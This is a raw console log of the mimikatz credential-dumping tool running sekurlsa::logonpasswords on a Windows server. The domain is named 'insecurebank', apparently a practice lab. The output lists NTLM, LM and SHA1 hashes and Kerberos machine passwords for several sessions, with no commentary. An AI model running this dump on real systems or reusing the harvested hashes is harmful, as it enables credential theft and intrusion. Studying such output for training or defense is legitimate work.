mimikatz-kapi

C:\>mimikatz.exe
mimikatz.exe

  .#####.   mimikatz 2.1.1 (x64) built on Jun 18 2017 18:46:28
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 21 modules * * */

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 5593834 (00000000:00555aea)
Session           : Interactive from 4
User Name         : DWM-4
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 7/12/2017 4:18:18 AM
SID               : S-1-5-90-4
        msv :
         [00000003] Primary
         * Username : DEV_SERVER$
         * Domain   : insecurebank
         * NTLM     : e0ae1397f254ba72ef769e3a45e493bb
         * SHA1     : f0fe732d41757b12d5a0acd5d56cba88e3062b2f
        tspkg :
        wdigest :
         * Username : DEV_SERVER$
         * Domain   : insecurebank
         * Password : (null)
        kerberos :
         * Username : DEV_SERVER$
         * Domain   : insecurebank.local
         * Password : E<.H=)5T8nLOl4fGJcgFT\[j.(?Ljg[H"9K;9ruE !te:<jT&$)NFiS8j\y.0s/kcJ`h$&x)=e9,q)#gvzUmAI`u*JIOkDU?D+N1yJjb&F>x[$ACG+7phH1)
        ssp :
        credman :

Authentication Id : 0 ; 3396814 (00000000:0033d4ce)
Session           : RemoteInteractive from 3
User Name         : DEV_Admin
Domain            : DEV_SERVER
Logon Server      : DEV_SERVER
Logon Time        : 7/11/2017 9:52:41 AM
SID               : S-1-5-21-2127459816-3462910752-2935290112-1004
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 156711 (00000000:00026427)
Session           : RemoteInteractive from 2
User Name         : abcABC
Domain            : DEV_SERVER
Logon Server      : DEV_SERVER
Logon Time        : 7/11/2017 6:33:40 AM
SID               : S-1-5-21-2127459816-3462910752-2935290112-1010
        msv :
         [00010000] CredentialKeysERROR kull_m_rpc_Generic_Decode ; RPC Exception: 0x00000724 (1828)

         [00000003] Primary
         * Username :
         * LM       : 55d0987dd4d0f016ad5a8d83de67fe24
         * NTLM     : 67a05a4865ced25eb546a35387fb7584
         * SHA1     : 634ade522f06c8e221d0e1a0f7c6d913c0ac5d84
        tspkg :
        wdigest :
         * Username : abcABC
         * Domain   : DEV_SERVER
         * Password : (null)
        kerberos :
         * Username : abcABC
         * Domain   : DEV_SERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 151830 (00000000:00025116)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 7/11/2017 6:33:40 AM
SID               : S-1-5-90-2
        msv :
         [00000003] Primary
         * Username :
         * LM       : 2f913c9e6ed3e065e13e34cd569bb75e
         * NTLM     : d49ed5efd957bceb7dfeee557bd64986
         * SHA1     : a3ad5fcecd08e5030bb946cb3e5722edc03b4264
        tspkg :
        wdigest :
         * Username : DEV_SERVER$
         * Domain   : insecurebank
         * Password : (null)
        kerberos :
         * Username : DEV_SERVER$
         * Domain   : insecurebank.local
         * Password : 2c f7 79 ce 50 28 d6 9a c3 0a c6 da 56 01 62 cc a1 82 bb 58 8c a1 d0 ec 60 af f5 ad 0c b4 b8 45 a9 64 1a e0 3e 55 48 57 30 4a af 48 56 c8 aa 63 30 7e 77 9c 2b d7 50 1c ab b2 ce ff 79 c1 2b 06 2f 6d 04 eb 72 ec 23 23 ec 15 95 a9 0a 72 24 77 e2 2e d4 cd 66 cd 8f 9a fe b8 13 b9 2c d0 c0 8b f2 c0 c7 02 71 95 67 42 45 6b 89 38 98 e2 55 c4 65 84 18 a7 6a 32 8b 2a db 02 18 5f 3a 87 c1 cb ef 10 81 57 7f 4f 14 2b 19 dc dc 5a b4 3a 77 91 13 b6 4b 01 31 f0 ca 3a b1 8c 1f 9f cf 15 05 ee 79 bd e9 e0 25 43 5d 17 6e 04 20 d8 b9 2c d1 e8 82 f0 a4 83 42 b6 3c 68 06 6c 7f 68 2f 75 fc d2 e9 02 0d 59 12 2c a7 c1 00 eb 5a d8 15 f4 98 bf 9d ad a4 d2 87 e5 a8 33 75 2f 97 45 8c 4a 49 33 86 4d a9 55 44 55 03 9a 62 3f 63 44 5c 65 1e 7f
        ssp :
        credman :

Authentication Id : 0 ; 40896 (00000000:00009fc0)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 7/11/2017 6:30:25 AM
SID               : S-1-5-90-1
        msv :
         [00000003] Primary
         * Username :
         * LM       : 2f913c9e6ed3e065e13e34cd569bb75e
         * NTLM     : d49ed5efd957bceb7dfeee557bd64986
         * SHA1     : a3ad5fcecd08e5030bb946cb3e5722edc03b4264
        tspkg :
        wdigest :
         * Username : DEV_SERVER$
         * Domain   : insecurebank
         * Password : (null)
        kerberos :
         * Username : DEV_SERVER$
         * Domain   : insecurebank.local
         * Password : 2c f7 79 ce 50 28 d6 9a c3 0a c6 da 56 01 62 cc a1 82 bb 58 8c a1 d0 ec 60 af f5 ad 0c b4 b8 45 a9 64 1a e0 3e 55 48 57 30 4a af 48 56 c8 aa 63 30 7e 77 9c 2b d7 50 1c ab b2 ce ff 79 c1 2b 06 2f 6d 04 eb 72 ec 23 23 ec 15 95 a9 0a 72 24 77 e2 2e d4 cd 66 cd 8f 9a fe b8 13 b9 2c d0 c0 8b f2 c0 c7 02 71 95 67 42 45 6b 89 38 98 e2 55 c4 65 84 18 a7 6a 32 8b 2a db 02 18 5f 3a 87 c1 cb ef 10 81 57 7f 4f 14 2b 19 dc dc 5a b4 3a 77 91 13 b6 4b 01 31 f0 ca 3a b1 8c 1f 9f cf 15 05 ee 79 bd e9 e0 25 43 5d 17 6e 04 20 d8 b9 2c d1 e8 82 f0 a4 83 42 b6 3c 68 06 6c 7f 68 2f 75 fc d2 e9 02 0d 59 12 2c a7 c1 00 eb 5a d8 15 f4 98 bf 9d ad a4 d2 87 e5 a8 33 75 2f 97 45 8c 4a 49 33 86 4d a9 55 44 55 03 9a 62 3f 63 44 5c 65 1e 7f
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DEV_SERVER$
Domain            : insecurebank
Logon Server      : (null)
Logon Time        : 7/11/2017 6:30:24 AM
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username :
         * LM       : 2f913c9e6ed3e065e13e34cd569bb75e
         * NTLM     : d49ed5efd957bceb7dfeee557bd64986
         * SHA1     : a3ad5fcecd08e5030bb946cb3e5722edc03b4264
        tspkg :
        wdigest :
         * Username : DEV_SERVER$
         * Domain   : insecurebank
         * Password : (null)
        kerberos :
         * Username : dev_server$
         * Domain   : INSECUREBANK.LOCAL
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 7/11/2017 6:30:25 AM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 22196 (00000000:000056b4)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 7/11/2017 6:30:20 AM
SID               :
        msv :
         [00000003] Primary
         * Username :
         * LM       : 2f913c9e6ed3e065e13e34cd569bb75e
         * NTLM     : d49ed5efd957bceb7dfeee557bd64986
         * SHA1     : a3ad5fcecd08e5030bb946cb3e5722edc03b4264
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DEV_SERVER$
Domain            : insecurebank
Logon Server      : (null)
Logon Time        : 7/11/2017 6:30:19 AM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : DEV_SERVER$
         * Domain   : insecurebank
         * Password : (null)
        kerberos :
         * Username : dev_server$
         * Domain   : INSECUREBANK.LOCAL
         * Password : (null)
        ssp :
        credman :

mimikatz #